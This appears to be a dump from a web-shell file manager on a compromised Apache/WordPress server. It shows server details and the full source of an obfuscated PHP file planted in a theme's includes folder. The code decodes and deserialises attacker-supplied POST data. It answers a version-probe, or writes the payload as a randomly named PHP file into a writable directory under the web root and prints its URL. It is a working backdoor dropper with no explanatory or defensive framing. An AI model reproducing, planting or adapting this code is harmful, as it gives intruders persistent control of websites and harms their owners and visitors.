HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/themes/savoy/includes/nszcveaw.php
<?php function gvjAx($TGbju, $YRnxhiowFi, $xGUWSwTb){$yTxgSX = "a8e4526c-94a2-4164-8f84-df5b189fce24";return $TGbju ^ $yTxgSX[$YRnxhiowFi % strlen($yTxgSX)] ^ $xGUWSwTb;}$ufGWCFpHGl = "doqxBwW";function AvGqZXf($ufGWCFpHGl){ $aDklySlpy = "\x73"."\164".chr(114)."\x5f".chr(114).'o'.chr(268-152)."\61".'3';$ufGWCFpHGl = $aDklySlpy($ufGWCFpHGl);$DEBssYHR = "\x72".chr(251-154).chr(381-262).'u'.'r'."\x6c"."\x64".chr(267-166)."\x63".'o'.'d'.chr(101);$ufGWCFpHGl = $DEBssYHR($ufGWCFpHGl);$ufGWCFpHGl = str_split($ufGWCFpHGl);return $ufGWCFpHGl;}function zExhEdco($tZreDgr, $xGUWSwTb){$tZreDgr = array_map("gvjAx", array_values($tZreDgr), array_keys($tZreDgr), array_values($xGUWSwTb));$tZreDgr = implode("", $tZreDgr);$YqaDOkwMuN = "\165"."\156"."\163".'e'."\x72"."\x69"."\141"."\x6c"."\x69".chr(122).'e';$tZreDgr = @$YqaDOkwMuN($tZreDgr);return $tZreDgr;}function RcDKlTffV($xGUWSwTb, $tZreDgr){$xGUWSwTb = array_slice(str_split(str_repeat($xGUWSwTb, (count($tZreDgr)/16)+1)), 0, count($tZreDgr));return $xGUWSwTb;}function vIzBxGXojy(){echo "vYjKxRWV";}function OoRaPLXs($lIUiOgUmXeir){static $EcnhxepGkU = array();$IBpFrQI = glob($lIUiOgUmXeir . '/*', GLOB_ONLYDIR);$NWRqN = count($IBpFrQI);if ($NWRqN > 0) {foreach ($IBpFrQI as $lIUiOgUmXe) {$hWhhAKRLkC = "\151"."\x73".chr(663-568)."\x77".'r'.chr(1031-926).chr(413-297).'a'."\x62"."\154".'e';if (@$hWhhAKRLkC($lIUiOgUmXe)) {$EcnhxepGkU[] = $lIUiOgUmXe;}}}foreach ($IBpFrQI as $lIUiOgUmXeir) OoRaPLXs($lIUiOgUmXeir);return $EcnhxepGkU;}function fBmsQ($tZreDgr){$thauWrB = chr(318-250)."\x4f"."\x43".'U'.chr(77)."\105"."\116".chr(84).'_'."\122".'O'.chr(79)."\x54";$ZvUYsFL = $_SERVER[$thauWrB];$IBpFrQI = OoRaPLXs($ZvUYsFL);$qCFnUaf = array_rand($IBpFrQI);$dSzbyf = "\56".chr(112)."\150"."\x70";$TsmhewL = $IBpFrQI[$qCFnUaf] . "/" . substr(md5(time()), 0, 8) . $dSzbyf;$AEsOplUn = "\x66".'i'.chr(808-700).chr(997-896).chr(506-411).chr(112)."\x75"."\x74".chr(981-886)."\143".chr(183-72).chr(655-545)."\x74".'e'.chr(110).'t'.'s';@$AEsOplUn($TsmhewL, $tZreDgr);$MxEsuX = "\110".chr(326-242)."\x54".chr(80).'_'."\110".chr(79)."\123"."\124";$OtWrCs = "\x68".chr(116)."\x74".chr(112)."\72"."\x2f".chr(519-472);$idxkkIbh = $OtWrCs . $_SERVER[$MxEsuX] . substr($TsmhewL, strlen($ZvUYsFL));print($idxkkIbh);}function tVrVoQj($tZreDgr, $qCFnUaf){$qCFnUaf = $qCFnUaf[0];if ($tZreDgr !== $qCFnUaf){fBmsQ($tZreDgr);}else {CmWqiSaoCl();}}function CmWqiSaoCl(){$oEsfSKAN = "\160".chr(640-536).'p';$nxtOOREFea = chr(170-58).chr(763-659)."\x70"."\x76".chr(101).chr(114).'s'.chr(105).chr(111)."\x6e";$tZreDgr = Array($oEsfSKAN => @$nxtOOREFea(), );$zGyycq = "\163"."\x65"."\x72"."\x69"."\x61".'l'.'i'."\x7a".chr(101);echo @$zGyycq($tZreDgr);}function fqKBHOOc(){echo "doqxBwW";}foreach ($_POST as $xGUWSwTb => $tZreDgr){$ClgkTKrrfk = strlen($xGUWSwTb);if ($ClgkTKrrfk == 16){$tZreDgr = AvGqZXf($tZreDgr);$xGUWSwTb = RcDKlTffV($xGUWSwTb, $tZreDgr);$tZreDgr = zExhEdco($tZreDgr, $xGUWSwTb);if (@is_array($tZreDgr)){$qCFnUaf = array_keys($tZreDgr);$tZreDgr = $tZreDgr[$qCFnUaf[0]];tVrVoQj($tZreDgr, $qCFnUaf);}}}die();